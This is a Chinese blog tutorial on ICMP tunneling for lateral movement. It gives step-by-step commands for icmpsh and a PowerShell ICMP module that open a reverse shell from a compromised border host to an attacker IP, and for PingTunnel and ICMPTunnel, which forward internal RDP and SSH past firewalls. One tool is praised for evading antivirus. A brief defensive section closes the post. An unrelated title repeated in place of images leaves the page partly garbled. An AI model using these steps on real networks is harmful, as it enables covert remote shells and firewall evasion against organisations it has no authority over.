ipv4 in ipv6隧道(ipsec隧道技术)

ICMP隧道简介

ICMP是一个比较特殊的协议,在一般的通信协议里如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要,最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求,在通常情况下,每个ping命令都有相对应的回复与请求

在一些内部网络环境中,大部分系统都位于防火墙和公司代理之后以便控制入站和出站Internet流量,防火墙可以阻止反向并绑定TCP连接,但是大多数情况下允许ICMP流量,因此,可以将此协议用作隐蔽通道,以便获取shell并在目标主机上远程执行命令

ICMP隧道使用

常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。

icmpsh
工具安装

icmpsh工具使用简单,便于\\”携带\\”(跨平台),运行时不需要管理员权限,我们首先通过Git clone命令下载icmpsh:

git clone https://github.com/inquisb/icmpsh.git

之后我们需要安装python的impacket类库,以便于对TCP、UDP、ICMP、IGMP、ARP、IPv4、IPv6、SMB、MSRPC、NTLM、Kerberos、WMI、LDAP等协议进行访问:

apt-get install python-impacket

ipv4 in ipv6隧道(ipsec隧道技术)

工具使用

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入以下命令来关闭本地系统的ICMP应答(如果需要回复系统应答,则设置为0即可),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入):

sysctl -w net.ipv4.icmp_echo_ignore_all=1

ipv4 in ipv6隧道(ipsec隧道技术)

之后我们在终端执行以下命令来查看icmpsh的使用方法:

python icmpsh_m.py -h

ipv4 in ipv6隧道(ipsec隧道技术)

之后根据脚本使用方法在终端执行以下命令:

python icmpsh_m.py 192.168.188.129 192.168.188.128

ipv4 in ipv6隧道(ipsec隧道技术)

之后在边界Web主机(192.168.188.128)上执行以下命令:

icmpsh.exe -t 192.168.188.129(AttackIP)

ipv4 in ipv6隧道(ipsec隧道技术)

之后在攻击者主机上可以看到目标主机的shell:

ipv4 in ipv6隧道(ipsec隧道技术)

Powershell版本
Nishang框架

Nishang框架包含了一个PowerShell模块,可以与icmpsh的python脚本结合使用,以获得ICMP上的shell

Powershell使用

在攻击主机上执行以下命令将等待任何传入的ICMP数据包:

python icmpsh_m.py 192.168.188.129 192.168.188.128

ipv4 in ipv6隧道(ipsec隧道技术)

之后在边界Web主机上通过powershell执行以下命令:

Import-Module .\\\\Invoke-PowerShellIcmp.ps1Invoke-PowerShellIcmp 192.168.188.129

ipv4 in ipv6隧道(ipsec隧道技术)

之后攻击主机汇总接受到连接:

ipv4 in ipv6隧道(ipsec隧道技术)

PingTunnel(C)
工具介绍

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码。

工具安装

a.安装libpcap的依赖环境

apt-get install byaccapt-get install flex bison

ipv4 in ipv6隧道(ipsec隧道技术)

ipv4 in ipv6隧道(ipsec隧道技术)

b、安装libpcap依赖库

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gztar -xzvf libpcap-1.9.0.tar.gzcd libpcap-1.9.0./configuremake && make install

ipv4 in ipv6隧道(ipsec隧道技术)

ipv4 in ipv6隧道(ipsec隧道技术)

ipv4 in ipv6隧道(ipsec隧道技术)

c、安装PingTunnel

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gztar -xzvf PingTunnel-0.72.tar.gzcd PingTunnelmake && make install

ipv4 in ipv6隧道(ipsec隧道技术)

工具使用

网络环境:

  • 攻击主机(VPS):192.168.188.129

  • 攻击主机(Windows 10):192.168.188.1

  • 内网边界主机(Kali linux):192.168.188.134、192.168.23.131

  • 内网目标主机(Windows 7):192.168.23.128

网络拓扑:

ipv4 in ipv6隧道(ipsec隧道技术)

网络关系:Web服务器模拟企业对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务,内网存在一台Windows 7机器,Web服务器可以与该机器连接。

测试目标:假定现在我们获取到了边界Web服务器的权限,之后想用ICMP搭建通往内网的隧道,连接内网Windows Server 2008 R2的3389端口

测试步骤:

在内网Web边界服务器执行以下指令:

ptunnel -x al1ex  // -x 指定连接密码

ipv4 in ipv6隧道(ipsec隧道技术)

之后在攻击主机上执行以下命令:

指令格式:ptunnel -p 边界Web主机IP -lp 1080 -da Web服务器内网的其他主机IP -dp 3389 -x al1ex指令示例:./ptunnel -p 192.168.188.134 -lp 1080 -da 192.168.23.128 -dp 3389 -x al1ex指令解释:上述指令的含义是指在访问攻击者VPS(192.168.188.129)的1080端口时,会吧数据库服务器192.168.23.12的3389端口的数据         封装在ICMP隧道里,以Web服务器182.168.188.134为ICMP隧道跳板进行传送

相关参数说明:

  • -p:指定ICMP隧道另一端的IP

  • -lp:指定本地监听的端口

  • -da:指定要转发的目标机器的IP

  • -dp:指定要转发的目标机器的端口

  • -x: 指定连接密码

ipv4 in ipv6隧道(ipsec隧道技术)

最后在本地Windows 10主机中使用mstsc访问VPS主机(192.168.188.129——>Kali linux)的1080端口:

ipv4 in ipv6隧道(ipsec隧道技术)

之后会弹出以下认证界面,填写目标内网主机的RDP登录凭证信息进行登录:

ipv4 in ipv6隧道(ipsec隧道技术)

之后可以看到成功连接到内网主机(192.168.23.128)远程桌面:

ipv4 in ipv6隧道(ipsec隧道技术)

在整个通信过程中VPS中ptunnel终端显示如下:

ipv4 in ipv6隧道(ipsec隧道技术)

在整个通信过程中边界Web主机中ptunnel终端显示如下:

ipv4 in ipv6隧道(ipsec隧道技术)

当我们想要使用ICMP隧道内网主机的22端口时,直接修改命令即可,例如:

./ptunnel -p 192.168.188.134 -lp 1080 -da 192.168.23.128 -dp 22 -x al1ex

之后同样在本地访问VPS的22端口,发现可以成功与内网主机的22端口建立连接,之后使用SSH认证凭证进行登录即可,由于笔者这里是Windows 7主机所有就不再深入演示了~

PingTunnel(Go)
 工具介绍

该工具是PingTunnel Go语言版本,同样它也是一款ICMP隧道工具,可以跨平台使用,常用的网络场景如下所示:

ipv4 in ipv6隧道(ipsec隧道技术)

工具使用

首先下载PingTunnel对应的安装包

https://github.com/esrrhs/pingtunnel/releases

ipv4 in ipv6隧道(ipsec隧道技术)

之后禁用边界主机的icmp回复

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

ipv4 in ipv6隧道(ipsec隧道技术)

之后在边界服务器端启动服务端:

./pingtunnel -type server

之后在攻击主机上启动客户端,客户端支持以下格式:

转发Sock5:

pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1

转发TCP:

pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1

转发UDP:

pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455
Icmptunnel
工具介绍

ICMPTunnel是一个使用python编写的简易脚本,该工具主要用于创建一个反向的ICMP隧道用于转发TCP通信数据包,这在内网中有时候也会很有帮助,且该工具具有一定的免杀效果~

工具使用

首先去Github下载项目:

https://github.com/T3rry7f/ICMPTunnel

之后在拿到权限的边界服务器端禁用icmp回复:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

之后执行IcmpTunnel.py脚本:

python IcmpTunnel_S.py

之后再攻击主机执行以下命令:

python IcmpTunnel_C.py {serverIP} {needConnectIP} {needConnectPort}

之后在边界Server端返回一个port并在攻击主机端使用返回的port进行远程连接,此时的ip为边界服务器的ip地址:

rdesktop 192.168.188.131:44171

隧道防御

使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量,具体方法如下:

  • 检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包

  • 注意哪些Payload大于64bit的ICMP数据包

  • 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包。

  • 检查ICMP数据包的协议标签,例如:icmptunnel会在所有的ICMP Payload前面添加\\”TUNL\\”标记来标识隧道——这就是特征。

原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34310.html

Like (0)
七芒星实验室的头像七芒星实验室
Previous 2024年4月20日
Next 2024年4月20日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注